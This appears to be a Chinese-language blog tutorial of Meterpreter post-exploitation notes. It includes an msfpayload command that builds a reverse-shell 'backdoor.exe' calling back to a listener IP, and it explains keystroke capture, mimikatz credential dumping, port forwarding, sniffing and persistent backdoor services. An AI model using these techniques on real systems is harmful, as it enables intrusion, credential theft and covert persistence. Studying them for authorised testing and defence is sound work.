metasploit 滲透測試筆記(meterpreter篇)

0x01 背景


meterpreter作爲後滲透模塊有多種類型,並且命令由核心命令和擴展庫命令組成,極大的豐富了攻擊方式。 需要說明的是meterpreter在漏洞利用成功後會發送第二階段的代碼和meterpreter服務器dll,所以在網絡不穩定的情況下經常出現沒有可執行命令,或者會話建立執行help之後發現缺少命令。 連上vpn又在內網中使用psexec和bind_tcp的時候經常會出現這種情況,別擔心結束了之後再來一次,喝杯茶就好了。

0x02 常用類型


reverse_tcp

path : payload/windows/meterpreter/reverse_tcp

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.130 LPORT=8080 X > ~/Desktop/backdoor.exe
 

enter image description here

enter image description here

enter image description here

反向連接shell,使用起來很穩定。需要設置LHOST。

bind_tcp

path : payload/windows/meterpreter/bind_tcp

正向連接shell,因爲在內網跨網段時無法連接到attack的機器,所以在內網中經常會使用,不需要設置LHOST。

reverse_http/https

path:payload/windows/meterpreter/reverse_http/https

通過http/https的方式反向連接,在網速慢的情況下不穩定,在某博客上看到https如果反彈沒有收到數據,可以將監聽端口換成443試試。

0x03 基本命令


enter image description here

常用的有

background:將當前會話放置後臺
load/use:加載模塊
Interact:切換進一個信道
migrate:遷移進程
run:執行一個已有的模塊,這裏要說的是輸入run後按兩下tab,會列出所有的已有的腳本,常用的有autoroute,hashdump,arp_scanner,multi_meter_inject等。
Resource:執行一個已有的rc腳本。

0x04 常用擴展庫介紹


enter image description here

meterpreter中不僅有基本命令還有很多擴展庫,load/use之後再輸入help,就可以看到關於這個模塊的命令說明了。

stdapi command

文件相關

stdapi中有關於文件讀寫,上傳下載,目錄切換,截屏,攝像頭,鍵盤記錄,和系統相關的命令。 常用的當然就是文件操作及網絡有關的命令。 通常我會用upload和download進行文件上傳和下載,注意在meterpreter中也可以切換目錄,當然也可以編輯文件。所以就不用運行shell再用echo寫。

enter image description here

使用edit命令時需要注意編輯的是一個存在的文件,edit不能新建文件。 輸入edit + 文件後就會調用vi編輯了。

enter image description here

網絡相關

網絡命令則有列出ip信息(ipconfig),展示修改路由表(route),還有端口轉發(portfwd)。 比如portfwd:

enter image description here

在建立規則之後就可以連接本地3344端口,這樣遠程的3389端口就轉發出來了。

鍵盤監聽

enter image description here

這裏需要注意一下windows會話窗口的概念,windows桌面劃分爲不同的會話(session),以便於與windows交互。會話0代表控制檯,1,2代表遠程桌面。所以要截獲鍵盤輸入必須在0中進行。可 以使用getdesktop查看或者截張圖試試。否則使用setdesktop切換。

enter image description here

如果不行就切換到explorer.exe進程中,這樣也可以監聽到遠程桌面連接進來之後的鍵盤輸入數據。

mimikatz

這個不多介紹,只是因爲這樣抓到的hash可以存進數據庫方便之後調用,不知道有沒有什麼方法可以快速的用第三方工具抓到hash/明文然後存進數據庫。

enter image description here

這裏是因爲我的用戶本身就沒有密碼。

sniffer

enter image description here

就是不知道能不能把包保存在victim上,然後後期再下下來,待實戰考證。

0x05使用自定腳本


這裏的腳本可以是rc腳本,也可以是ruby腳本,metasploit已經有很多自定義腳本了。比如上面說過的arp_scanner,hashdump。這些腳本都是用ruby編寫,所以對於後期自定義修改來說非常方便,這裏介紹一個很常見的腳本scraper,它將目標機器上的常見信息收集起來然後下載保存在本地。推薦這個腳本是因爲這個過程非常不錯。可以加入自定義的命令等等。

enter image description here

enter image description here

/.msf4/logs/下保存了所有腳本需要保存的日誌記錄,當然不只這一個腳本。同樣.msf4文件夾下還保存了其他東西,比如輸入過的命令,msf運行過程的日誌等。 Scraper腳本將保存結果在/.msf4/logs/scripts/scraper/下。

0x06 持續性後門


metasploit自帶的後門有兩種方式啓動的,一種是通過服務啓動(metsvc),一種是通過啓動項啓動(persistence) 優缺點各異:metsvc是通過服務啓動,但是服務名是meterpreter,腳本代碼見圖,

enter image description here

這裏需要上傳三個文件,然後用metsvc.exe 安裝服務。不知道服務名能不能通過修改metsvc.exe達到。 安裝過程和回連過程都很簡單

enter image description here

下次回連時使用windows/metsvc_bind_tcp的payload就可以。

enter image description here

0x07 後記


meterpreter提供了很多攻擊或收集信息的腳本,並且還有很多API(具體參考官方文檔),及擴展。在對ruby代碼理解的程度上,如果能根據目標環境和現狀修改現有腳本或編寫自己的腳本則能夠極大的提高效率,獲得預期的結果。



發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章